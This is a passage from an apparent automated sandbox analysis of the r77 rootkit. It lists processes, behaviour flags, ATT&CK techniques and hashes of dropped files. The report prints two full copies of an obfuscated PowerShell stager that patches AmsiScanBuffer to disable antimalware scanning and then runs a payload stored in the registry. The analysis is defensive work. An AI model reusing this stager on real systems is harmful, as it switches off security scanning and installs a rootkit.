Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+'l'+'ec'+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+'e'+'',''+'C'+'l'+'a'+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+'las'+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+'o'+[Char](67)+''+'l'+''+'a'+''+'s'+''+'s'+'',[MulticastDelegate]);$YnYkxyoxzap.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+'a'+''+'m'+''+'e'+''+[Char](44)+''+'H'+''+'i'+'d'+[Char](101)+''+[Char](66)+'yS'+'i'+'g'+[Char](44)+'P'+'u'+''+'b'+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$FIphCoGYrTCgoA).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$YnYkxyoxzap.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+'u'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'H'+'i'+'d'+''+[Char](101)+''+'B'+''+'y'+'Si'+'g'+''+','+'N'+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+'o'+''+'t'+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+'l',$iWJxjFYMPA,$FIphCoGYrTCgoA).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+'ed');Write-Output $YnYkxyoxzap.CreateType();}$yJIVepzaIzkOc=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+'a'+'f'+''+'e'+'N'+'a'+''+'t'+''+'i'+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+'t'+[Char](104)+''+'o'+''+'d'+''+'s'+'');$cgsoQYHzpAAPui=$yJIVepzaIzkOc.GetMethod('Get'+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$HhCMOoJCjnRGdWKdtss=uQLkVnmKfsCY @([String])([IntPtr]);$DdGmrFECyJSuZoFLmvHYjH=uQLkVnmKfsCY @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$SkYWkKLoHxb=$yJIVepzaIzkOc.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'Ha'+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')));$KUtKysfEAPCMIQ=$cgsoQYHzpAAPui.Invoke($Null,@([Object]$SkYWkKLoHxb,[Object](''+[Char](76)+''+'o'+''+[Char](97)+'dLi'+[Char](98)+''+'r'+''+[Char](97)+'ry'+'A'+'')));$qNWLXsWPPdKJzniKc=$cgsoQYHzpAAPui.Invoke($Null,@([Object]$SkYWkKLoHxb,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$seFvPxs=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KUtKysfEAPCMIQ,$HhCMOoJCjnRGdWKdtss).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+'ll');$KcGMZFRBbPFxbTOmX=$cgsoQYHzpAAPui.Invoke($Null,@([Object]$seFvPxs,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+'e'+''+[Char](114)+'')));$QhLlhwiHNL=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qNWLXsWPPdKJzniKc,$DdGmrFECyJSuZoFLmvHYjH).Invoke($KcGMZFRBbPFxbTOmX,[uint32]8,4,[ref]$QhLlhwiHNL);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$KcGMZFRBbPFxbTOmX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qNWLXsWPPdKJzniKc,$DdGmrFECyJSuZoFLmvHYjH).Invoke($KcGMZFRBbPFxbTOmX,[uint32]8,0x20,[ref]$QhLlhwiHNL);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'s'+[Char](116)+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5872

C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\Install.exe
"C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\Install.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5716

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XwiawyDSlkcg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wkYQkciPXjkfus,[Parameter(Position=1)][Type]$nqqssuvCgH)$DsSdBaZOIwZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+'e'+'d'+'D'+'ele'+[Char](103)+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+'mo'+[Char](114)+'y'+[Char](77)+'od'+[Char](117)+'l'+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'eT'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](65)+'u'+'t'+''+'o'+'Cl'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$DsSdBaZOIwZ.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'p'+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+',H'+[Char](105)+'de'+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'Pu'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$wkYQkciPXjkfus).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$DsSdBaZOIwZ.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+'ke',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+'i'+[Char](100)+'eBy'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+'V'+'i'+'r'+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$nqqssuvCgH,$wkYQkciPXjkfus).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+[Char](105)+'m'+'e'+''+[Char](44)+''+'M'+'a'+'n'+''+'a'+''+'g'+''+'e'+''+'d'+'');Write-Output $DsSdBaZOIwZ.CreateType();}$lnUCAtECAbtqT=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType('M'+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+'s'+''+[Char](111)+'ft'+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+'2'+[Char](46)+'U'+[Char](110)+''+[Char](115)+'a'+'f'+''+'e'+'N'+[Char](97)+''+'t'+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+'ods');$dccLWozxKiaZcQ=$lnUCAtECAbtqT.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+'e'+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+'S'+'t'+[Char](97)+''+'t'+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$danWcampGuObWdkOAaD=XwiawyDSlkcg @([String])([IntPtr]);$uxbrFCUhItyjlWrQuWbwBT=XwiawyDSlkcg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bAJjeZnDWzo=$lnUCAtECAbtqT.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'M'+'o'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rn'+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+'d'+'l'+'l')));$wXTmLEKecWVdJj=$dccLWozxKiaZcQ.Invoke($Null,@([Object]$bAJjeZnDWzo,[Object]('Lo'+[Char](97)+''+'d'+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+'a'+''+'r'+'yA')));$gcgtqUuQVXXUBGfPh=$dccLWozxKiaZcQ.Invoke($Null,@([Object]$bAJjeZnDWzo,[Object]('V'+[Char](105)+''+[Char](114)+'tua'+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$dfRHaGu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wXTmLEKecWVdJj,$danWcampGuObWdkOAaD).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$BNjEqvvVhEZtcXdvh=$dccLWozxKiaZcQ.Invoke($Null,@([Object]$dfRHaGu,[Object](''+[Char](65)+''+'m'+''+'s'+''+[Char](105)+''+'S'+''+[Char](99)+'anB'+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$ExuWdMbaSg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gcgtqUuQVXXUBGfPh,$uxbrFCUhItyjlWrQuWbwBT).Invoke($BNjEqvvVhEZtcXdvh,[uint32]8,4,[ref]$ExuWdMbaSg);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$BNjEqvvVhEZtcXdvh,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gcgtqUuQVXXUBGfPh,$uxbrFCUhItyjlWrQuWbwBT).Invoke($BNjEqvvVhEZtcXdvh,[uint32]8,0x20,[ref]$ExuWdMbaSg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+'7s'+[Char](116)+''+'a'+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3232

C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\Uninstall.exe
"C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\Uninstall.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5824
- C:\Users\Admin\AppData\Local\Temp\DMYoJiqM.exe
  "C:\Users\Admin\AppData\Local\Temp\DMYoJiqM.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2568

C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\TestConsole.exe
"C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\TestConsole.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:5908

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\TestConsole.exe.log

Filesize
2KB

MD5
7629d10a13abec85ecd03d924611305a

SHA1
a5f5d67a78c8f63cbdcf13a864d48eda121bb10f

SHA256
ea77a0f8dd1559685a328eb2aec0986349fb80f8bf81da6cd972964aafbc051b

SHA512
eace0746ab5b275a7a6285b4dccb6528eb06066e891b7c8f707acc2a98a4a082a0e23be89363c616cce314bb48fc2589f5240db72837b0c5461910d66e12bf1c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
4f7152bc5a1a715ef481e37d1c791959

SHA1
c8a1ed674c62ae4f45519f90a8cc5a81eff3a6d7

SHA256
704dd4f98d8ca34ec421f23ba1891b178c23c14b3301e4655efc5c02d356c2bc

SHA512
2e6b02ca35d76a655a17a5f3e9dbd8d7517c7dae24f0095c7350eb9e7bdf9e1256a7009aa8878f96c89d1ea4fe5323a41f72b8c551806dda62880d7ff231ff5c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
ea98e583ad99df195d29aa066204ab56

SHA1
f89398664af0179641aa0138b337097b617cb2db

SHA256
a7abb51435909fa2d75c6f2ff5c69a93d4a0ab276ed579e7d8733b2a63ffbee6

SHA512
e109be3466e653e5d310b3e402e1626298b09205d223722a82344dd78504f3c33e1e24e8402a02f38cd2c9c50d96a303ce4846bea5a583423937ab018cd5782f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
288B

MD5
5350a3fdf2563756ec683d1ef4469b74

SHA1
f8ed50e42240c53a97f680f2272737e6b8b3cccd

SHA256
9867cd1b9651710fb63f1ff6e31a193e6391ba77d9c1957e9a7e76b92aa51bca

SHA512
28f6e280ccbd99a3ef3938023f11204a87d639b3855e159d5293b7e2152823351c3c48bbeb8ef184ef058ce297bd05fc5e87159d23a656df329ae73430c21b63

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
317B

MD5
afc6cddd7e64d81e52b729d09f227107

SHA1
ad0d3740f4b66de83db8862911c07dc91928d2f6

SHA256
b5e81a7c7d80feaaa10ee7bc8aaef9f21a5c1e4b03b3823ed115022311d674a0

SHA512
844edb69585153c378a7c97709983776fc9303a32fb5ef8122ecca32adfc0b265f5ef7118ee07814da5c020ac7ba1bf2a2f66d46312e4d8e6df99aab2e5f9b2a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
5d6aba2e3909f309cfa18165a7015291

SHA1
2e0ad74bfccbda2770613bed2c40349d069db0ff

SHA256
e87788a6c58669a380f43b95a4e2e9be9cf43f870ed1faaa41b2201be9a1219a

SHA512
7eacebfed0ef9ed63035dfd949f94e347844a8506a9a32f146466cb5df97a234f6de13b155cbfb514304345cb864f97f7b89003cc1745da97a94777679935fa3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
17179b44641c07afe9f97f15c72a65d4

SHA1
be31d83ddbe0230d484d8663f8067767bfbc41e1

SHA256
b01c5950250bba794716fe3310346860df49b1d039abd5ecb8525378c1335c11

SHA512
6825b0bacaa8a7c6b2fd12bfbae2e2753d5d9c5bc8eb3c981783d18832e5206d5bc2b215b3041cc448a2ab3a553a5bb5d8464ba60b634c6463d3d11b8f95823e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
b037fb7fa4577a081788c87c350f4819

SHA1
4e89c35b163e35ecb1b5056240fd696c13679120

SHA256
2b3ded7e36398d153c2f30efad547b3dc14341c558bad321579cc9fb5a397d24

SHA512
8d87f19a7ca43a5589e49dec7c3299207c61f51152ed2f64f4acf4da847251bfef79d62ad3d3027b97bd5350807322383cf3085f5ece7742c64b81d67735c386

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
48c291244dd8ac83563627d5bf5ecd87

SHA1
7b4f3ecbdf266c4113726beacc485da699b6c0cb

SHA256
4568ccf1ef5f6227a748d64d563c156148fc305ed392878188d4f959635ad830

SHA512
1317e24524efb6d9d570010c10d98d60dbef3ba19cba565b0cdf002cb09950fe1076807f7736a845ba11504f9b751acd6ec9ab3ac09dd0974e98b83fb11ab826

Download Submit
C:\Users\Admin\AppData\Local\Temp\DMYoJiqM.exe

Filesize
52KB

MD5
88a56d91561e6ffaf348351e925fda3a

SHA1
4906dba68202833ca40e3e55263878b1325a571e

SHA256
f57c4b8f68bdf95c7e76d192088ad8cc099fa0f8785f0cd46fe013a5c30e97a3

SHA512
f79e59d2c67285f2f9e86b41eabe1508b4aa02016684206a76f9312ed3785a5f2f5cc913470fda8037239887d50fdcfcfaf644f2fb1edf576ede23a68bc7b7ce

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 881197.crdownload

Filesize
14.0MB

MD5
efbddb47d7a716eadcc136a9e9680efd

SHA1
af2f860746e75c5aa091a3ab21346e5f95b2b167

SHA256
3087d1eddb15055a14b639beca03ede639bdc3d73877cb66851fa91bfc7749b9

SHA512
29550b1157a503d32eda4c5c2b085c14187a6f441851eb93aff933f57981ec041ca5166894de80654ef3266c47561e6a02a5c0329006aaf1e53d9688b538749e

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\Install.exe

Filesize
399KB

MD5
ed4c776dbe79e77bbf9df0f9bd10e2ba

SHA1
7a6d05d588e10ee465c8d176541faca5a517c364

SHA256
8d4a0d1f346ef98a3779c1ad90aaacf32444e5a372738a22f00c03f98047629e

SHA512
9a237610fafc50a8633e916ea2476796ed6e80629076a4ce3511da869c1167c6afe00d0db2af461b1c400674abfb07abf160d81c7116604fd870e7673131709c

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\Uninstall.exe

Filesize
101KB

MD5
1b29ea4d369498812b7c8ecdc30508bf

SHA1
7b9536e9df77fa1d877178ff9ec18f2220a8175d

SHA256
212a0a261e20f673bdf926f49d328cb1a44c919a8b5566c997f4abd59df39eda

SHA512
77d9e766da0cfc36be286e7f043408a1fe12cc51025cd59d18c1680d814674a3f1101fe519f618540ce1ae4703b118f35d9e7323f038b5533cdb1abab38d4abb

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\Example\app.config

Filesize
161B

MD5
c16b0746faa39818049fe38709a82c62

SHA1
3fa322fe6ed724b1bc4fd52795428a36b7b8c131

SHA256
d61bde901e7189cc97d45a1d4c4aa39d4c4de2b68419773ec774338506d659ad

SHA512
cbcba899a067f8dc32cfcbd1779a6982d25955de91e1e02cee8eaf684a01b0dee3642c2a954903720ff6086de5a082147209868c03665c89f814c6219be2df7c

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\Example\obj\Debug\Example.exe

Filesize
48KB

MD5
c622b02e39d1eaba565d1f7cd0ffd263

SHA1
d1f77f9afafcc7aba05d187182f0aaab1de32954

SHA256
a236177eaadc3e9d1bef2e3263e2bfe2b6703704a489fcb10060a0a66815066b

SHA512
2ccc45bcd76f5acd40128d2ba5f17c250a95df6a29bd412113e42c99011fb00f7a27a42b9ba4369660699eb8475f8022332a38dd1bda60fd7bcdc674df864801

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\Service32\Debug\vc143.pdb

Filesize
188KB

MD5
dbc8f907e578668ec3c773a518653fb3

SHA1
5497f3425c61f0435ae4bc8a1887e377d66f9d08

SHA256
1ba2d4f0a2d0d0c28d442232e655353bdd816aabab9c4dbf8e2f3055df3dc47b

SHA512
a5e1d85d42ebf0d664d2ddf6f1d174d1c8489ff67895f7df4563f1d530ee04b69c44482ccded8c9021332a7a61e6d5b24d863fd8a1a75c0a482507d2e6ca0ad8

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\Stager\Resources\r77-x86.dll

Filesize
112KB

MD5
18c179bcf7787de17c2803f78f74f483

SHA1
92e246ea721ad332d083b3c9cd9cd8225d34f86d

SHA256
86397a862fe9f5bcf04a4a2ffdddd5d8b1a4ba4858d5a57f6582d04b31991974

SHA512
319dabad63f004535d221e7dc1b7b5e923216f88e7b6db5a9fe48b9c8a75b5c0950e4b09e0413990f33cdfaa4c8aeac1645264a42ef2c1e322400354e250f5a9

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\Stager\obj\Debug\Stager.exe

Filesize
293KB

MD5
d9b775193f9bd28ef8556dcdb78101df

SHA1
0427a9e21a04a1926fe91e58d12c5405fec80b4a

SHA256
a3680565eae4e7b64300f2b46b2bd1e7022c6e90da9b2bc91978aa9afb6fa0d0

SHA512
ba7843981a765414bf6626274bc990208640655edbedbf1dbdb1c722056ead90afefe2fa66b1df944e3987be1de2b9f03b32896fe2af313f416546ce9d24fb5f

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\TestConsole\bin\Debug\BytecodeApi.UI.dll

Filesize
76KB

MD5
0ee5c134de6df52fdda8b3be2e3198ba

SHA1
50a67723030e2e2c653cc659db49ab3e7170c692

SHA256
ee475b056cb651e58bba55568e07caf8d26fb38c3ed7e0399e4188febe127825

SHA512
405b6b8217f61806caa7c4c41e5bcbfa32c781d99c493d27ef22c26c0140ff9f2fb95ad5ce8465f31a3f4c3fbc6a2dcf4372a1a15766e95be15c139ad6dc0dfe

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\TestConsole\bin\Debug\BytecodeApi.dll

Filesize
317KB

MD5
5330f2ca77ea587a1a3d14da9a623498

SHA1
ae469532f64a2c4d9347e1879b6599cdb487248d

SHA256
16e2c2c38922ada41528faf33db72027b1fdddf696d901ff9bf7cc443ec5c9ca

SHA512
bbfc4c84e4b26f36419357b8ab53ea124c0715de36bde9efca0c755ac0ad6c0ef6ad13e9606f74a346798364704d7f01c51f7bed114ee12ad1f0de180fe45bdb

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\TestConsole\bin\Debug\Helper32.dll

Filesize
8KB

MD5
d57f1dc10d3034112ae784f3ae5fbf16

SHA1
19e7a0a3328c50c2c1b2f571e426d8dd578eac06

SHA256
d1c579ac97a92fd5dab530206fe29f957569fdd63a2c43d14a34ea8d9d9d0675

SHA512
3aa9c9638dea9130cdfb6c38c3e4c0a6d4690a9e91f204a5a00a4b40003c00a32c57cc15bf188db50cee2b827a3f2afb59833d28578828dc229c4c93773ede59

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\TestConsole\bin\Debug\TestConsole.exe

Filesize
274KB

MD5
a54cc73bbcd525614ee22e57df0de78c

SHA1
1383915ea1fb8fa1ec47414d2dba6e44a90751b2

SHA256
33121bad9241fd12c96531104f0a38a92c971e87ae24cec956938cc27b9fffa4

SHA512
7740e8bfda782bfcbc913d97e08e04d48fe91a3953d0ac856e8d737ead71c7d5c88f2104316c6bd0c3c77c01d9acad0bd204309205eb5757bd51e078cdf933ae

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\TestConsole\bin\Debug\r77-x64.dll

Filesize
141KB

MD5
47f0fbc9aea64b7e3a91bf257290a5ac

SHA1
fa54a9e5b322aa2d220666ee1b1b2fb5133555f1

SHA256
5f5d58f7b52996810d90730a8f93999c7705d6858cda7043941e18762055d6c6

SHA512
3cb0261a98ffd0aef2bf636cb86a0db4afab5f79479457c5dd7c2965131039d823b4cc3a3ebc2c6626281890d1e1d33d562fc97eead6a0be443e2a1cf2ea6a5a

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\TestConsole\obj\Debug\.NETFramework,Version=v4.8.AssemblyAttributes.cs

Filesize
210B

MD5
e7e4dfcde604f38e91e42fd0e92033c8

SHA1
100774f6122fa0433a6dd9dda553722981a924db

SHA256
af4c24efdd16c0cb3946e8e148fb6df4fc9c501c71cc718738b4728808737373

SHA512
4f435e0a0d01a78b0ea0c0ed50390279414fec78ea0d75690ff7082ee9103723d7dbd1944cf74741ae80787102672b6f1f446983376904d028510b5b39ce6754

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\Uninstall64\x64\Debug\vc143.pdb

Filesize
180KB

MD5
921ba6e751c5d9d3705f5c7e5ca53eff

SHA1
f6a22310cc504488c7e825ab5015dd3ea87942e8

SHA256
242259eaf5c6e8a0cf9768227d9707d350e5b2a4a98f1de1a70b379d4575fe62

SHA512
9cd6cb5b04a93f48dd7de64b891709233c9a4de122c6239274425a936dba434ace662d7b498dd48e09682f861aa4996e42069ec479609bd5468573ae176b85ea

Download Submit
